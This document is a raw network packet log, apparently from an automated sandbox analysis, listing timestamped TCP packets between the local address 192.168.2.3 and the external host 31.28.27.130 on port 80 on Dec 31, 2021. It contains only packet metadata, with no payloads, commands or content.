Dec 31, 2021 19:12:58.236464977 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.236495018 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.236531019 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.236543894 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.236571074 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.236608982 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.236623049 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.236646891 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.236701012 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.260613918 CET	80	49817	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.260729074 CET	49817	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.264250040 CET	49817	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.285375118 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.285434008 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.285473108 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.285511971 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.285512924 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.285550117 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.285592079 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.285599947 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.285608053 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.285612106 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.285631895 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.285655975 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.285667896 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.285693884 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.285698891 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.285708904 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.285754919 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.285784960 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.285792112 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.285794973 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.285795927 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.285835028 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.285872936 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.285891056 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.285897970 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.285914898 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.285949945 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.285957098 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.285972118 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.285995960 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.286005020 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.286036015 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.286042929 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.286075115 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.286087990 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.286112070 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.286130905 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.286150932 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.286161900 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.286190033 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.286195993 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.286228895 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.286233902 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.286269903 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.286287069 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.286307096 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.286338091 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.286345005 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.286346912 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.286386967 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.286423922 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.286446095 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.286454916 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.286544085 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.286546946 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.286588907 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.286601067 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.286626101 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.286638021 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.286665916 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.286704063 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.286740065 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.286748886 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.286756992 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.286778927 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.286815882 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.286819935 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.286829948 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.286833048 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.286854982 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.286881924 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.286896944 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.286914110 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.286935091 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.286963940 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.286974907 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.286997080 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.287014961 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.287031889 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.287080050 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.313358068 CET	80	49817	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.332556009 CET	49818	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.335105896 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.335181952 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.335243940 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.335251093 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.335279942 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.335304976 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.335367918 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.336178064 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.336210966 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.336236954 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.336237907 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.336255074 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.336266041 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.336285114 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.336292982 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.336302996 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.336323977 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.336348057 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.336350918 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.336375952 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.336376905 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.336390018 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.336402893 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.336426973 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.336436033 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.336452961 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.336472988 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.336472988 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.336492062 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.336493015 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.336510897 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.336519003 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.336529016 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.336539984 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.336549044 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.336574078 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.336576939 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.336581945 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.336597919 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.336617947 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.336623907 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.336623907 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.336638927 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.336651087 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.336668968 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.336675882 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.336693048 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.336700916 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.336724043 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.336724997 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.336749077 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.336751938 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.336771965 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.336776018 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.336798906 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.336806059 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.336810112 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.336826086 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.336838007 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.336864948 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.336886883 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.336900949 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.336929083 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.336955070 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.336960077 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.336980104 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.336999893 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.337003946 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.337021112 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.337048054 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.337069035 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.337079048 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.337095022 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.337106943 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.337121010 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.337147951 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.337168932 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.337174892 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.337183952 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.337202072 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.337219000 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.337228060 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.337255001 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.337268114 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.337280035 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.337302923 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.337305069 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.337327003 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.337340117 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.337344885 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.337347984 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.337363958 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.337376118 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.337383032 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.337387085 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.337402105 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.337409973 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.337419987 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.337424994 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.337439060 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.337446928 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.337457895 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.337476969 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.337481976 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.337486982 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.337496042 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.337513924 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.337515116 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.337532043 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.337549925 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.337558031 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.337568998 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.337579966 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.337587118 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.337605953 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.337611914 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.337622881 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.337625027 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.337644100 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.337656021 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.337661982 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.337676048 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.337681055 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.337697983 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.337699890 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.337718010 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.337728977 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.337734938 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.337754011 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.337759972 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.337771893 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.337790012 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.337794065 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.337809086 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.337821960 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.337826967 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.337845087 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.337846041 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.337867975 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.337883949 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.337888956 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.337908983 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.337922096 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.337938070 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.337997913 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.382567883 CET	80	49818	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.382673979 CET	49818	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.382777929 CET	49818	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.382931948 CET	49818	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.383968115 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.384011984 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.384049892 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.384076118 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.384090900 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.384124041 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.384140015 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.384172916 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.384181976 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.384186029 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.384232044 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.386444092 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.386486053 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.386512995 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.386528015 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.386532068 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.386568069 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.386606932 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.386635065 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.386647940 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.386684895 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.386704922 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.386723995 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.386763096 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.386769056 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.386802912 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.386806011 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.386845112 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.386883020 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.386893988 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.386924028 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.386928082 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.386962891 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.387001038 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.387011051 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.387042046 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.387080908 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.387101889 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.387120962 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.387120962 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.387162924 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.387201071 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.387213945 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.387239933 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.387279987 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.387305021 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.387317896 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.387320042 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.387356997 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.387394905 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.387418985 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.387435913 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.387475967 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.387481928 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.387514114 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.387520075 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.387559891 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.387598038 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.387635946 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.387639999 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.387645960 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.387677908 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.387685061 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.387717962 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.387731075 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.387757063 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.387798071 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.387799025 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.387803078 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.387837887 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.387842894 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.387883902 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.387887955 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.387928963 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.387944937 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.387965918 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.387979984 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.388008118 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.388015032 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.388047934 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.388075113 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.388084888 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.388114929 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.388124943 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.388138056 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.388164043 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.388190031 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.388205051 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.388212919 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.388246059 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.388250113 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.388283014 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.388292074 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.388324022 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.388328075 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.388364077 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.388372898 CET	49816	80	192.168.2.3	31.28.27.130
